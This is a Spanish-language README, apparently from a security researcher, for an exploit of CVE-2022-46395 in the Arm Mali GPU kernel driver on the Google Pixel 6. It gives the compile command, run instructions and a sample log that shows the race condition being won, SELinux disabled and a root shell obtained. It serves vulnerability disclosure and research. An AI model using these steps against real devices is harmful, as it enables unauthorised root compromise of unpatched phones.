
Exploit para CVE-2022-46395, una vulnerabilidad del controlador del kernel Arm Mali, que logra ejecución arbitraria de código en el kernel para deshabilitar SELinux y obtener root en Google Pixel 6.
El artículo completo se puede encontrar aquí. Se trata de un error en el controlador del kernel Arm Mali que reporté en noviembre de 2022. El error puede utilizarse para obtener ejecución arbitraria de código en el kernel desde el dominio de aplicaciones no confiables, lo que luego se usa para deshabilitar SELinux y obtener privilegios de root.
El exploit está probado en el Google Pixel 6 con los parches de noviembre de 2022 y enero de 2023. Como referencia, utilicé el siguiente comando para compilar con clang en ndk-21:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -DSHELL mali_user_buf.c mempool_utils.c mem_write.c -o mali_user_buf
El exploit debe ejecutarse un par de minutos después del arranque y probablemente tendrá que ejecutarse durante unos minutos para tener éxito. No es raro fallar las condiciones de carrera cientos de veces, aunque fallar la condición de carrera no tiene ningún efecto adverso y el exploit en su conjunto rara vez se bloquea. Si tiene éxito, deshabilitará SELinux y obtendrá privilegios de root.
oriole:/ $ /data/local/tmp/mali_user_buf
fingerprint: google/oriole/oriole:13/TQ1A.230105.002/9325679:user/release-keys
benchmark_time 357
failed after 100
failed after 200
failed after 300
benchmark_time 343
failed after 400
failed after 500
failed after 600
benchmark_time 337
failed after 700
failed after 800
failed after 900
benchmark_time 334
failed after 1000
failed after 1100
failed after 1200
benchmark_time 363
failed after 1300
finished reset: 190027720 fault: 135735849 772 err 0 read 3
found pgd at page 4
overwrite addr : 76f6100710 710
overwrite addr : 76f5f00710 710
overwrite addr : 76f6100710 710
overwrite addr : 76f5f00710 710
overwrite addr : 76f5d00710 710
overwrite addr : 76f5b00710 710
overwrite addr : 76f5d00710 710
overwrite addr : 76f5b00710 710
overwrite addr : 76f6100fd4 fd4
overwrite addr : 76f5f00fd4 fd4
overwrite addr : 76f6100fd4 fd4
overwrite addr : 76f5f00fd4 fd4
overwrite addr : 76f5d00fd4 fd4
overwrite addr : 76f5b00fd4 fd4
overwrite addr : 76f5d00fd4 fd4
overwrite addr : 76f5b00fd4 fd4
result 50
oriole:/ #